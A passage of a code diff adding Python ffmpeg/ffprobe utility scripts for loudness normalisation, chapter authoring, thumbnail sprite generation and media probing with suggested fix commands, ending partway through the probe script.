+            "ffmpeg not found on PATH", EXIT_MISSING_DEP)
+
+    path = Path(args.file)
+    if not path.is_file():
+        err(args.json, "NOT_FOUND", f"file not found: {path}", EXIT_NOT_FOUND)
+
+    base = f"I={args.target_i:g}:TP={args.tp:g}:LRA={args.lra:g}"
+    print(f"measuring loudness of {path.name} (pass 1)...", file=sys.stderr)
+    proc = subprocess.run(
+        [ffmpeg, "-hide_banner", "-nostats", "-i", str(path),
+         "-af", f"loudnorm={base}:print_format=json", "-f", "null", "-"],
+        capture_output=True, text=True)
+
+    # loudnorm prints its JSON report as the last {...} block on stderr.
+    stderr = proc.stderr or ""
+    start, end = stderr.rfind("{"), stderr.rfind("}")
+    if proc.returncode != 0 or start == -1 or end <= start:
+        detail = stderr.strip().splitlines()[-1] if stderr.strip() else "no detail"
+        err(args.json, "VALIDATION",
+            f"loudnorm measurement failed (no audio stream?): {detail}",
+            EXIT_VALIDATION)
+    try:
+        m = json.loads(stderr[start:end + 1])
+    except json.JSONDecodeError:
+        err(args.json, "VALIDATION", "could not parse loudnorm JSON report",
+            EXIT_VALIDATION)
+
+    pass2_filter = (
+        f"loudnorm={base}"
+        f":measured_I={m['input_i']}:measured_TP={m['input_tp']}"
+        f":measured_LRA={m['input_lra']}:measured_thresh={m['input_thresh']}"
+        f":offset={m['target_offset']}:linear=true"
+    )
+    # loudnorm internally resamples to 192 kHz — the -ar 48000 puts it back.
+    pass2_command = (f'ffmpeg -y -i "{path}" -af "{pass2_filter}" -ar 48000 '
+                     f'-c:v copy "{path.stem}.normalized{path.suffix}"')
+
+    data = {
+        "file": str(path),
+        "target": {"I": args.target_i, "TP": args.tp, "LRA": args.lra},
+        "measured": {
+            "input_i": float(m["input_i"]),
+            "input_tp": float(m["input_tp"]),
+            "input_lra": float(m["input_lra"]),
+            "input_thresh": float(m["input_thresh"]),
+            "target_offset": float(m["target_offset"]),
+        },
+        "normalization_mode": m.get("normalization_type", ""),
+        "pass2_filter": pass2_filter,
+        "pass2_command": pass2_command,
+    }
+
+    if args.json:
+        print(json.dumps({"data": data, "meta": {"schema": SCHEMA}}, indent=2))
+    else:
+        print(f"measured   I={m['input_i']} LUFS  TP={m['input_tp']} dBTP  "
+              f"LRA={m['input_lra']} LU  thresh={m['input_thresh']}")
+        print(f"target     I={args.target_i:g} TP={args.tp:g} LRA={args.lra:g}")
+        print(f"pass2      {pass2_filter}")
+        print(f"command    {pass2_command}")
+    return EXIT_OK
+
+
+if __name__ == "__main__":
+    sys.exit(main())

+ 269 - 0
skills/ffmpeg-ops/scripts/make-chapters.py

@@ -0,0 +1,269 @@
+#!/usr/bin/env python3
+"""Chapter authoring: scene/silence boundaries or explicit JSON -> embedded chapters.
+
+Derives chapter points (scene detection, speech-after-silence starts, or an
+explicit chapters JSON), merges points closer than --min-gap, and emits any of:
+ffmetadata (the format ffmpeg muxes), YouTube description text, WebVTT chapters,
+or JSON. --write muxes the chapters INTO a stream-copy of the media (atomic,
+original untouched).
+
+Usage:   make-chapters.py (--from-scenes | --from-silence | --chapters FILE)
+                          [--media FILE] [--min-gap S] [--duration S]
+                          [--format ffmetadata|youtube|vtt|json] [--write OUT] [--json]
+Input:   --media for detection modes and --write; --chapters JSON is
+         [{"start": 0, "title": "Intro"}, ...] (or {"chapters": [...]})
+Output:  stdout = the chosen format (default ffmetadata); --json = envelope
+         (schema claude-mods.ffmpeg-ops.chapters/v1)
+Stderr:  progress, YouTube-rule warnings, errors
+Exit:    0 ok, 2 usage, 3 media/chapters file missing, 4 invalid chapters JSON,
+         5 ffmpeg/ffprobe missing when required
+
+Examples:
+  make-chapters.py --from-scenes --media talk.mp4 --min-gap 30
+  make-chapters.py --from-silence --media lecture.mp4 --write chaptered.mp4
+  make-chapters.py --chapters chapters.json --duration 3600 --format youtube
+  make-chapters.py --from-scenes --media in.mp4 --format json | jq '.data.chapters'
+"""
+
+import argparse
+import json
+import shutil
+import subprocess
+import sys
+from pathlib import Path
+from typing import NoReturn
+
+SCHEMA = "claude-mods.ffmpeg-ops.chapters/v1"
+EXIT_OK, EXIT_USAGE, EXIT_NOT_FOUND, EXIT_VALIDATION, EXIT_MISSING_DEP = 0, 2, 3, 4, 5
+
+
+def err(json_mode: bool, code: str, message: str, exit_code: int) -> NoReturn:
+    if json_mode:
+        print(json.dumps({"error": {"code": code, "message": message, "details": {}}}))
+    print(f"ERROR: {message}", file=sys.stderr)
+    sys.exit(exit_code)
+
+
+def media_duration(path: Path, json_mode: bool) -> float:
+    ffprobe = shutil.which("ffprobe")
+    if not ffprobe:
+        err(json_mode, "MISSING_DEPENDENCY", "ffprobe not found on PATH", EXIT_MISSING_DEP)
+    proc = subprocess.run(
+        [ffprobe, "-v", "error", "-show_entries", "format=duration",
+         "-of", "default=nw=1:nk=1", str(path)],
+        capture_output=True, text=True)
+    try:
+        return float(proc.stdout.strip())
+    except ValueError:
+        err(json_mode, "VALIDATION", f"could not read duration of {path.name}",
+            EXIT_VALIDATION)
+
+
+def detect_points(mode: str, media: Path, json_mode: bool) -> list:
+    """Shell out to the sibling detect-segments.py — one detection implementation."""
+    sibling = Path(__file__).resolve().parent / "detect-segments.py"
+    flag = "--scenes" if mode == "scenes" else "--silence"
+    proc = subprocess.run(
+        [sys.executable, str(sibling), flag, "--json", str(media)],
+        capture_output=True, text=True)
+    if proc.returncode != 0:
+        err(json_mode, "VALIDATION",
+            f"detect-segments {flag} failed (exit {proc.returncode}): "
+            f"{(proc.stderr.strip().splitlines() or ['?'])[-1]}", proc.returncode)
+    data = json.loads(proc.stdout)["data"]
+    if mode == "scenes":
+        return [float(c) for c in data.get("cuts", [])]
+    # silence mode: a chapter candidate is where speech RESUMES
+    return [float(seg["start"]) for seg in data.get("speech", [])]
+
+
+def load_chapters_file(path: Path, json_mode: bool) -> list:
+    if not path.is_file():
+        err(json_mode, "NOT_FOUND", f"chapters file not found: {path}", EXIT_NOT_FOUND)
+    try:
+        raw = json.loads(path.read_text(encoding="utf-8"))
+    except json.JSONDecodeError as e:
+        err(json_mode, "VALIDATION", f"chapters file is not valid JSON: {e}",
+            EXIT_VALIDATION)
+    items = raw.get("chapters") if isinstance(raw, dict) else raw
+    if not isinstance(items, list) or not items:
+        err(json_mode, "VALIDATION",
+            'chapters JSON must be a non-empty array of {"start": s, "title": "..."}',
+            EXIT_VALIDATION)
+    chapters = []
+    for i, c in enumerate(items):
+        if not isinstance(c, dict) or not isinstance(c.get("start"), (int, float)):
+            err(json_mode, "VALIDATION", f"chapters[{i}] needs a numeric 'start'",
+                EXIT_VALIDATION)
+        chapters.append({"start": float(c["start"]),
+                         "title": str(c.get("title") or f"Chapter {i + 1}")})
+    return sorted(chapters, key=lambda c: c["start"])
+
+
+def build_chapters(points: list, min_gap: float, duration: float) -> list:
+    """Merge close points, force a chapter at 0, attach END times."""
+    merged = [0.0]
+    for p in sorted(p for p in points if p > 0):
+        if p - merged[-1] >= min_gap and (duration <= 0 or duration - p >= min_gap):
+            merged.append(round(p, 3))
+    return [{"start": s, "title": f"Chapter {i + 1}"} for i, s in enumerate(merged)]
+
+
+def attach_ends(chapters: list, duration: float) -> list:
+    out = []
+    for i, c in enumerate(chapters):
+        end = chapters[i + 1]["start"] if i + 1 < len(chapters) else duration
+        out.append({**c, "end": round(max(end, c["start"]), 3)})
+    return out
+
+
+def esc_ffmeta(s: str) -> str:
+    for ch in ("\\", "=", ";", "#"):
+        s = s.replace(ch, "\\" + ch)
+    return s.replace("\n", " ")
+
+
+def fmt_ffmetadata(chapters: list) -> str:
+    lines = [";FFMETADATA1"]
+    for c in chapters:
+        lines += ["[CHAPTER]", "TIMEBASE=1/1000",
+                  f"START={int(c['start'] * 1000)}", f"END={int(c['end'] * 1000)}",
+                  f"title={esc_ffmeta(c['title'])}"]
+    return "\n".join(lines) + "\n"
+
+
+def ts_youtube(s: float) -> str:
+    h, rem = divmod(int(s), 3600)
+    m, sec = divmod(rem, 60)
+    return f"{h}:{m:02d}:{sec:02d}" if h else f"{m}:{sec:02d}"
+
+
+def ts_vtt(s: float) -> str:
+    h, rem = divmod(int(s), 3600)
+    m, sec = divmod(rem, 60)
+    return f"{h:02d}:{m:02d}:{sec:02d}.{int(round((s % 1) * 1000)):03d}"
+
+
+def fmt_youtube(chapters: list) -> str:
+    # YouTube parses chapters only if: first at 0:00, >= 3 chapters, each >= 10 s.
+    if chapters and chapters[0]["start"] != 0:
+        print("warning: YouTube requires the first chapter at 0:00", file=sys.stderr)
+    if len(chapters) < 3:
+        print("warning: YouTube needs >= 3 chapters to render them", file=sys.stderr)
+    if any(c["end"] - c["start"] < 10 for c in chapters):
+        print("warning: YouTube ignores chapter lists with any chapter < 10 s",
+              file=sys.stderr)
+    return "\n".join(f"{ts_youtube(c['start'])} {c['title']}" for c in chapters) + "\n"
+
+
+def fmt_vtt(chapters: list) -> str:
+    blocks = [f"{ts_vtt(c['start'])} --> {ts_vtt(c['end'])}\n{c['title']}"
+              for c in chapters]
+    return "WEBVTT\n\n" + "\n\n".join(blocks) + "\n"
+
+
+def mux_chapters(media: Path, meta: str, out: Path, json_mode: bool) -> None:
+    ffmpeg = shutil.which("ffmpeg")
+    if not ffmpeg:
+        err(json_mode, "MISSING_DEPENDENCY", "ffmpeg not found on PATH (--write)",
+            EXIT_MISSING_DEP)
+    meta_file = out.parent / (out.stem + ".ffmeta.tmp")
+    tmp_out = out.with_name(out.stem + ".tmp" + out.suffix)
+    out.parent.mkdir(parents=True, exist_ok=True)
+    meta_file.write_text(meta, encoding="utf-8")
+    try:
+        proc = subprocess.run(
+            [ffmpeg, "-y", "-v", "error", "-i", str(media),
+             "-f", "ffmetadata", "-i", str(meta_file),
+             "-map", "0", "-map_metadata", "0", "-map_chapters", "1",
+             "-c", "copy", str(tmp_out)],
+            capture_output=True, text=True)
+        if proc.returncode != 0:
+            err(json_mode, "VALIDATION",
+                f"chapter mux failed: {(proc.stderr.strip().splitlines() or ['?'])[-1]}",
+                EXIT_VALIDATION)
+        tmp_out.replace(out)
+    finally:
+        meta_file.unlink(missing_ok=True)
+        tmp_out.unlink(missing_ok=True)
+
+
+def main() -> int:
+    ap = argparse.ArgumentParser(
+        description="Derive chapters and emit ffmetadata/YouTube/VTT or mux them in.",
+        epilog="Examples:\n"
+               "  make-chapters.py --from-scenes --media talk.mp4 --min-gap 30\n"
+               "  make-chapters.py --chapters ch.json --duration 3600 --format youtube\n",
+        formatter_class=argparse.RawDescriptionHelpFormatter)
+    src = ap.add_mutually_exclusive_group(required=True)
+    src.add_argument("--from-scenes", action="store_true",
+                     help="chapter points from video scene changes")
+    src.add_argument("--from-silence", action="store_true",
+                     help="chapter points where speech resumes after silence")
+    src.add_argument("--chapters", metavar="FILE",
+                     help='explicit JSON: [{"start": s, "title": "..."}]')
+    ap.add_argument("--media", metavar="FILE",
+                    help="media file (required for detection modes and --write)")
+    ap.add_argument("--min-gap", type=float, default=15.0,
+                    help="merge detected points closer than this, seconds (default 15)")
+    ap.add_argument("--duration", type=float, default=None,
+                    help="total duration override (skips the ffprobe lookup)")
+    ap.add_argument("--format", default="ffmetadata",
+                    choices=("ffmetadata", "youtube", "vtt", "json"),
+                    help="stdout format (default ffmetadata)")
+    ap.add_argument("--write", metavar="OUT", default=None,
+                    help="mux chapters into a stream-copy of --media at this path")
+    ap.add_argument("--json", action="store_true",
+                    help="emit JSON envelope on stdout (same as --format json)")
+    args = ap.parse_args()
+    json_mode = args.json or args.format == "json"
+
+    detection = args.from_scenes or args.from_silence
+    if (detection or args.write) and not args.media:
+        err(json_mode, "USAGE",
+            "--media is required for --from-scenes/--from-silence/--write", EXIT_USAGE)
+
+    media = Path(args.media) if args.media else None
+    if media and not media.is_file():
+        err(json_mode, "NOT_FOUND", f"media not found: {media}", EXIT_NOT_FOUND)
+
+    if args.duration is not None:
+        duration = args.duration
+    elif media:
+        duration = media_duration(media, json_mode)
+    else:
+        err(json_mode, "USAGE", "--duration is required when no --media is given",
+            EXIT_USAGE)
+
+    if args.chapters:
+        chapters = load_chapters_file(Path(args.chapters), json_mode)
+        chapters = [{**c} for c in chapters]
+    else:
+        mode = "scenes" if args.from_scenes else "silence"
+        print(f"deriving chapter points from {mode}...", file=sys.stderr)
+        points = detect_points(mode, media, json_mode)  # type: ignore[arg-type]
+        chapters = build_chapters(points, args.min_gap, duration)
+    chapters = attach_ends(chapters, duration)
+
+    meta = fmt_ffmetadata(chapters)
+    written = None
+    if args.write:
+        mux_chapters(media, meta, Path(args.write), json_mode)  # type: ignore[arg-type]
+        written = str(Path(args.write))
+        print(f"chapters muxed -> {written}", file=sys.stderr)
+
+    if json_mode:
+        data = {"media": str(media) if media else None, "duration_s": duration,
+                "count": len(chapters), "chapters": chapters, "written": written}
+        print(json.dumps({"data": data, "meta": {"schema": SCHEMA}}, indent=2))
+    elif args.format == "youtube":
+        sys.stdout.write(fmt_youtube(chapters))
+    elif args.format == "vtt":
+        sys.stdout.write(fmt_vtt(chapters))
+    else:
+        sys.stdout.write(meta)
+    return EXIT_OK
+
+
+if __name__ == "__main__":
+    sys.exit(main())

+ 159 - 0
skills/ffmpeg-ops/scripts/make-sprites.py

@@ -0,0 +1,159 @@
+#!/usr/bin/env python3
+"""Scrub-preview sprites + WebVTT thumbnail track for web players.
+
+Renders tiled sprite sheets at a fixed interval and writes the thumbs.vtt that
+maps each time range to its sprite region (#xywh media fragments) — the format
+Video.js / JW Player / Plyr / hls.js preview plugins consume. The geometry math
+(page, row, column per thumb) is exactly the part worth never re-deriving.
+
+Usage:   make-sprites.py [--interval S] [--width PX] [--cols N] [--rows N]
+                         [--out-dir DIR] [--json] <media>
+Input:   one video file as positional
+Output:  stdout = written file list (or --json envelope,
+         schema claude-mods.ffmpeg-ops.sprites/v1)
+Stderr:  progress, errors
+Exit:    0 ok, 2 usage, 3 file not found, 4 probe/render failure, 5 ffmpeg missing
+
+Examples:
+  make-sprites.py --interval 5 video.mp4
+  make-sprites.py --interval 10 --width 240 --out-dir previews/ lecture.mp4
+  make-sprites.py --json video.mp4 | jq -r '.data.vtt'
+"""
+
+import argparse
+import json
+import math
+import shutil
+import subprocess
+import sys
+from pathlib import Path
+from typing import NoReturn
+
+SCHEMA = "claude-mods.ffmpeg-ops.sprites/v1"
+EXIT_OK, EXIT_USAGE, EXIT_NOT_FOUND, EXIT_VALIDATION, EXIT_MISSING_DEP = 0, 2, 3, 4, 5
+
+
+def err(json_mode: bool, code: str, message: str, exit_code: int) -> NoReturn:
+    if json_mode:
+        print(json.dumps({"error": {"code": code, "message": message, "details": {}}}))
+    print(f"ERROR: {message}", file=sys.stderr)
+    sys.exit(exit_code)
+
+
+def probe(ffprobe: str, path: Path) -> dict:
+    # Full -show_streams, not selective -show_entries: the rotation side data
+    # (side_data_list) is silently omitted by entry-filtered queries on some
+    # ffprobe versions, which made rotated sources produce squashed thumbs.
+    proc = subprocess.run(
+        [ffprobe, "-v", "error", "-select_streams", "v:0", "-print_format", "json",
+         "-show_streams", "-show_format", str(path)],
+        capture_output=True, text=True)
+    if proc.returncode != 0:
+        return {}
+    raw = json.loads(proc.stdout)
+    streams = raw.get("streams", [])
+    if not streams:
+        return {}
+    s = streams[0]
+    rotation = 0
+    for sd in s.get("side_data_list", []) or []:
+        try:
+            rotation = int(sd.get("rotation", 0)) % 360
+        except (TypeError, ValueError):
+            pass
+    w, h = s.get("width", 0), s.get("height", 0)
+    if rotation in (90, 270):       # ffmpeg autorotates on decode; sprites show display dims
+        w, h = h, w
+    return {"width": w, "height": h,
+            "duration": float(raw.get("format", {}).get("duration", 0) or 0)}
+
+
+def ts(seconds: float) -> str:
+    h, rem = divmod(int(seconds), 3600)
+    m, s = divmod(rem, 60)
+    return f"{h:02d}:{m:02d}:{s:02d}.{int(round((seconds % 1) * 1000)):03d}"
+
+
+def main() -> int:
+    ap = argparse.ArgumentParser(
+        description="Sprite sheets + WebVTT thumbnail track for player scrub previews.",
+        epilog="Examples:\n"
+               "  make-sprites.py --interval 5 video.mp4\n"
+               "  make-sprites.py --interval 10 --width 240 --out-dir previews/ in.mp4\n",
+        formatter_class=argparse.RawDescriptionHelpFormatter)
+    ap.add_argument("file", help="video file")
+    ap.add_argument("--interval", type=float, default=5.0,
+                    help="seconds per thumbnail (default 5)")
+    ap.add_argument("--width", type=int, default=160,
+                    help="thumbnail width in px (default 160)")
+    ap.add_argument("--cols", type=int, default=10, help="grid columns (default 10)")
+    ap.add_argument("--rows", type=int, default=10, help="grid rows (default 10)")
+    ap.add_argument("--out-dir", default="sprites", help="output dir (default ./sprites)")
+    ap.add_argument("--json", action="store_true", help="emit JSON envelope on stdout")
+    args = ap.parse_args()
+
+    if args.interval <= 0 or args.width < 16 or args.cols < 1 or args.rows < 1:
+        err(args.json, "USAGE", "interval/width/cols/rows out of range", EXIT_USAGE)
+
+    ffmpeg, ffprobe = shutil.which("ffmpeg"), shutil.which("ffprobe")
+    if not ffmpeg or not ffprobe:
+        err(args.json, "MISSING_DEPENDENCY", "ffmpeg/ffprobe not found on PATH",
+            EXIT_MISSING_DEP)
+    path = Path(args.file)
+    if not path.is_file():
+        err(args.json, "NOT_FOUND", f"file not found: {path}", EXIT_NOT_FOUND)
+
+    info = probe(ffprobe, path)
+    if not info or not info["width"] or info["duration"] <= 0:
+        err(args.json, "VALIDATION", "no probeable video stream/duration",
+            EXIT_VALIDATION)
+
+    # Explicit even thumb height so our geometry and ffmpeg's agree exactly.
+    tw = args.width // 2 * 2
+    th = max(2, round(tw * info["height"] / info["width"] / 2) * 2)
+    per_page = args.cols * args.rows
+    n_thumbs = max(1, math.ceil(info["duration"] / args.interval))
+    n_pages = math.ceil(n_thumbs / per_page)
+
+    out_dir = Path(args.out_dir)
+    out_dir.mkdir(parents=True, exist_ok=True)
+    print(f"{n_thumbs} thumbs ({tw}x{th}) on {n_pages} sheet(s)...", file=sys.stderr)
+
+    proc = subprocess.run(
+        [ffmpeg, "-y", "-v", "error", "-i", str(path.resolve()),
+         "-vf", f"fps=1/{args.interval},scale={tw}:{th},tile={args.cols}x{args.rows}",
+         "-q:v", "3", "sprite_%02d.jpg"],
+        capture_output=True, text=True, cwd=str(out_dir))
+    if proc.returncode != 0:
+        err(args.json, "VALIDATION",
+            f"sprite render failed: {(proc.stderr.strip().splitlines() or ['?'])[-1]}",
+            EXIT_VALIDATION)
+    sheets = sorted(out_dir.glob("sprite_*.jpg"))
+
+    lines = ["WEBVTT", ""]
+    for i in range(n_thumbs):
+        t0 = i * args.interval
+        t1 = min((i + 1) * args.interval, info["duration"])
+        page = i // per_page + 1
+        idx = i % per_page
+        x, y = (idx % args.cols) * tw, (idx // args.cols) * th
+        lines += [f"{ts(t0)} --> {ts(t1)}",
+                  f"sprite_{page:02d}.jpg#xywh={x},{y},{tw},{th}", ""]
+    vtt = out_dir / "thumbs.vtt"
+    vtt.write_text("\n".join(lines), encoding="utf-8")
+
+    data = {"media": str(path), "thumbs": n_thumbs, "thumb_size": [tw, th],
+            "grid": [args.cols, args.rows], "interval_s": args.interval,
+            "sheets": [str(p) for p in sheets], "vtt": str(vtt)}
+    if args.json:
+        print(json.dumps({"data": data, "meta": {"schema": SCHEMA}}, indent=2))
+    else:
+        for p in [*sheets, vtt]:
+            print(p)
+    print(f"done: point the player's thumbnail track at {vtt.name} "
+          f"(URLs resolve relative to the VTT)", file=sys.stderr)
+    return EXIT_OK
+
+
+if __name__ == "__main__":
+    sys.exit(main())

+ 340 - 0
skills/ffmpeg-ops/scripts/probe-media.py

@@ -0,0 +1,340 @@
+#!/usr/bin/env python3
+"""Normalized media inspection via ffprobe — the probe-first doctrine's tool.
+
+Wraps ffprobe's verbose, build-varying JSON into one stable, compact envelope:
+container, duration, per-stream codec/dimensions/fps/pix_fmt/color/rotation,
+and (on request) the keyframes nearest a timestamp so the agent can decide
+whether a stream-copy cut is safe.
+
+--doctor turns the probe into triage: each detected processing hazard (VFR,
+HDR transfer, rotation metadata, interlacing, non-yuv420p delivery, moov at
+EOF) is reported WITH the exact fix command, and the exit code becomes a
+branchable signal.
+
+Usage:   probe-media.py [--json] [--keyframes-near SECONDS] [--doctor] <file>
+Input:   one media file path as positional
+Output:  stdout = human summary, or envelope {"data":...,"meta":...} with --json
+         (schema claude-mods.ffmpeg-ops.probe/v1)
+Stderr:  warnings, errors
+Exit:    0 ok, 2 usage, 3 file not found, 4 not parseable media,
+         5 ffprobe missing, 10 --doctor found at least one issue
+
+Examples:
+  probe-media.py input.mp4
+  probe-media.py --json input.mp4 | jq '.data.video.fps'
+  probe-media.py --keyframes-near 92.5 input.mp4
+  probe-media.py --doctor input.mp4 || echo "fix before processing"
+  probe-media.py --doctor --json input.mp4 | jq -r '.data.doctor.findings[].fix'
+"""
+
+import argparse
+import json
+import shutil
+import subprocess
+import sys
+from fractions import Fraction
+from pathlib import Path
+from typing import NoReturn
+
+SCHEMA = "claude-mods.ffmpeg-ops.probe/v1"
+
+EXIT_OK, EXIT_USAGE, EXIT_NOT_FOUND, EXIT_VALIDATION, EXIT_MISSING_DEP = 0, 2, 3, 4, 5
+EXIT_FINDINGS = 10
+
+
+def err(args_json: bool, code: str, message: str, exit_code: int) -> NoReturn:
+    if args_json:
+        print(json.dumps({"error": {"code": code, "message": message, "details": {}}}))
+    print(f"ERROR: {message}", file=sys.stderr)
+    sys.exit(exit_code)
+
+
+def parse_rate(rate: str) -> float:
+    """ffprobe rates arrive as '30000/1001' or '25/1'; '0/0' means unknown."""
+    try:
+        f = Fraction(rate)
+        return round(float(f), 3) if f else 0.0
+    except (ValueError, ZeroDivisionError):
+        return 0.0
+
+
+def stream_rotation(stream: dict) -> int:
+    # Modern ffprobe: displaymatrix side data; legacy: tags.rotate.
+    for sd in stream.get("side_data_list", []) or []:
+        if "rotation" in sd:
+            try:
+                return int(sd["rotation"]) % 360
+            except (TypeError, ValueError):
+                pass
+    try:
+        return int(stream.get("tags", {}).get("rotate", 0)) % 360
+    except (TypeError, ValueError):
+        return 0
+
+
+def normalize(raw: dict, path: Path) -> dict:
+    fmt = raw.get("format", {})
+    out = {
+        "file": str(path),
+        "container": fmt.get("format_name", ""),
+        "duration_s": round(float(fmt.get("duration", 0) or 0), 3),
+        "size_bytes": int(fmt.get("size", 0) or 0),
+        "bitrate_bps": int(fmt.get("bit_rate", 0) or 0),
+        "stream_count": int(fmt.get("nb_streams", 0) or 0),
+        "video": None,
+        "audio": [],
+        "subtitles": [],
+        "streams": [],
+    }
+    for s in raw.get("streams", []):
+        kind = s.get("codec_type", "unknown")
+        entry = {
+            "index": s.get("index"),
+            "type": kind,
+            "codec": s.get("codec_name", ""),
+            "profile": s.get("profile", ""),
+            "language": (s.get("tags", {}) or {}).get("language", ""),
+            "default": bool((s.get("disposition", {}) or {}).get("default", 0)),
+        }
+        if kind == "video":
+            avg = parse_rate(s.get("avg_frame_rate", "0/0"))
+            real = parse_rate(s.get("r_frame_rate", "0/0"))
+            entry.update({
+                "width": s.get("width", 0),
+                "height": s.get("height", 0),
+                "fps": avg or real,
+                # avg != r is the cheap variable-frame-rate tell.
+                "vfr_suspect": bool(avg and real and abs(avg - real) > 0.01),
+                "pix_fmt": s.get("pix_fmt", ""),
+                "field_order": s.get("field_order", ""),
+                "color_space": s.get("color_space", ""),
+                "color_transfer": s.get("color_transfer", ""),
+                "color_primaries": s.get("color_primaries", ""),
+                "rotation_deg": stream_rotation(s),
+                "bitrate_bps": int(s.get("bit_rate", 0) or 0),
+            })
+            if out["video"] is None and not s.get("disposition", {}).get("attached_pic"):
+                out["video"] = entry
+        elif kind == "audio":
+            entry.update({
+                "sample_rate": int(s.get("sample_rate", 0) or 0),
+                "channels": s.get("channels", 0),
+                "channel_layout": s.get("channel_layout", ""),
+                "bitrate_bps": int(s.get("bit_rate", 0) or 0),
+            })
+            out["audio"].append(entry)
+        elif kind == "subtitle":
+            out["subtitles"].append(entry)
+        out["streams"].append(entry)
+    return out
+
+
+def moov_after_mdat(path: Path) -> bool:
+    """Walk top-level MP4/MOV atoms: True if moov sits after mdat (no faststart)."""
+    try:
+        with path.open("rb") as f:
+            pos, size = 0, path.stat().st_size
+            seen_mdat = False
+            while pos + 8 <= size:
+                f.seek(pos)
+                header = f.read(16)
+                if len(header) < 8:
+                    break
+                box_len = int.from_bytes(header[0:4], "big")
+                box_type = header[4:8]
+                if box_len == 1 and len(header) >= 16:       # 64-bit largesize
+                    box_len = int.from_bytes(header[8:16], "big")
+                elif box_len == 0:                            # box runs to EOF
+                    box_len = size - pos
+                if box_len < 8:
+                    break
+                if box_type == b"mdat":
+                    seen_mdat = True
+                elif box_type == b"moov":
+                    return seen_mdat
+                pos += box_len
+    except OSError:
+        pass
+    return False
+
+
+def doctor(data: dict, path: Path) -> list:
+    """Triage: each finding pairs the hazard with the exact fix command."""
+    findings = []
+    q = f'"{path}"'
+    v = data["video"]
+
+    def add(severity: str, issue: str, why: str, fix: str) -> None:
+        findings.append({"severity": severity, "issue": issue, "why": why, "fix": fix})
+
+    if v:
+        if v["vfr_suspect"]:
+            add("warn", "variable frame rate (VFR) suspected",
+                "cut math drifts, concat desyncs, players/editors stutter",
+                f"ffmpeg -i {q} -c:v libx264 -crf 18 -preset fast -pix_fmt yuv420p "
+                f"-fps_mode cfr -r {round(v['fps']) or 30} -c:a aac -b:a 192k normalized.mp4")
+        if v["color_transfer"] in ("smpte2084", "arib-std-b67"):
+            kind = "PQ/HDR10" if v["color_transfer"] == "smpte2084" else "HLG"
+            add("warn", f"HDR transfer ({kind})",
+                "re-encoding without tonemapping produces grey, washed-out SDR",
+                f"ffmpeg -i {q} -vf \"zscale=t=linear:npl=100,format=gbrpf32le,"
+                f"zscale=p=bt709,tonemap=tonemap=hable:desat=0,"
+                f"zscale=t=bt709:m=bt709:r=tv,format=yuv420p\" "
+                f"-c:v libx264 -crf 20 -c:a copy sdr.mp4")
+        if v["rotation_deg"]:
+            add("warn", f"rotation metadata ({v['rotation_deg']} deg)",
+                "filters/thumbnails operate on unrotated pixels; some pipelines drop the flag",
+                f"ffmpeg -display_rotation 0 -i {q} -c copy upright.mp4  "
+                f"# or bake: -vf transpose + re-encode")
+        if v["field_order"] not in ("", "progressive", "unknown"):
+            add("warn", f"interlaced (field_order={v['field_order']})",
+                "combing artifacts on motion after any scale/re-encode",
+                f"ffmpeg -i {q} -vf bwdif=mode=send_field -c:v libx264 -crf 19 "
+                f"-c:a copy deinterlaced.mp4")
+        # H.264 delivery must be 8-bit 4:2:0; HEVC Main10 (yuv420p10le) is a
+        # legitimate delivery profile (and mandatory for HDR10) — don't flag it.
+        ok_pix = ("", "yuv420p") if v["codec"] == "h264" else \
+                 ("", "yuv420p", "yuv420p10le")
+        if v["codec"] in ("h264", "hevc") and v["pix_fmt"] not in ok_pix:
+            add("warn", f"pix_fmt {v['pix_fmt']} on a delivery codec",
+                "Safari/QuickTime/TVs show black or refuse playback on >4:2:0",
+                f"ffmpeg -i {q} -c:v libx264 -crf 18 -pix_fmt yuv420p -c:a copy "
+                f"-movflags +faststart compatible.mp4")
+    elif data["audio"]:
+        add("info", "no video stream (audio-only)",
+            "video operations will fail; audio/STT workflows are fine", "")
+
+    if "mp4" in data["container"] or "mov" in data["container"]:
+        if moov_after_mdat(path):
+            add("warn", "moov atom after mdat (no faststart)",
+                "browsers must download the whole file before playback starts",
+                f"ffmpeg -i {q} -c copy -movflags +faststart faststart.mp4")
+
+    if data["duration_s"] <= 0:
+        add("warn", "container reports no duration",
+            "truncated/still-recording file, or a stream needing -fflags +genpts",
+            f"ffmpeg -v error -i {q} -f null -   # decode check; then remux -c copy")
+    return findings
+
+
+def keyframes_near(ffprobe: str, path: Path, ts: float, window: float = 30.0) -> dict:
+    start = max(0.0, ts - window)
+    proc = subprocess.run(
+        [ffprobe, "-v", "error", "-select_streams", "v:0",
+         "-show_entries", "packet=pts_time,flags", "-of", "csv=p=0",
+         "-read_intervals", f"{start}%{ts + window}", str(path)],
+        capture_output=True, text=True)
+    keys = []
+    for line in proc.stdout.splitlines():
+        parts = line.strip().split(",")
+        if len(parts) >= 2 and "K" in parts[1]:
+            try:
+                keys.append(float(parts[0]))
+            except ValueError:
+                continue
+    keys.sort()
+    prev = max((k for k in keys if k <= ts), default=None)
+    nxt = min((k for k in keys if k > ts), default=None)
+    return {
+        "target_s": ts,
+        "prev_keyframe_s": prev,
+        "next_keyframe_s": nxt,
+        "copy_cut_drift_s": round(ts - prev, 3) if prev is not None else None,
+        "window_scanned_s": [round(start, 3), round(ts + window, 3)],
+    }
+
+
+def main() -> int:
+    ap = argparse.ArgumentParser(
+        description="Normalized media inspection via ffprobe.",
+        epilog="Examples:\n"
+               "  probe-media.py input.mp4\n"
+               "  probe-media.py --json input.mp4 | jq '.data.video.fps'\n"
+               "  probe-media.py --keyframes-near 92.5 input.mp4\n",
+        formatter_class=argparse.RawDescriptionHelpFormatter)
+    ap.add_argument("file", help="media file to probe")
+    ap.add_argument("--json", action="store_true", help="emit JSON envelope on stdout")
+    ap.add_argument("--keyframes-near", type=float, metavar="SECONDS", default=None,
+                    help="also report nearest keyframes to this timestamp")
+    ap.add_argument("--doctor", action="store_true",
+                    help="triage mode: report processing hazards with exact fix "
+                         "commands; exit 10 if any found")
+    args = ap.parse_args()
+
+    ffprobe = shutil.which("ffprobe")
+    if not ffprobe:
+        err(args.json, "MISSING_DEPENDENCY",
+            "ffprobe not found on PATH (install ffmpeg)", EXIT_MISSING_DEP)
+
+    path = Path(args.file)
+    if not path.is_file():
+        err(args.json, "NOT_FOUND", f"file not found: {path}", EXIT_NOT_FOUND)
+
+    proc = subprocess.run(
+        [ffprobe, "-v", "error", "-print_format", "json",
+         "-show_format", "-show_streams", str(path)],
+        capture_output=True, text=True)
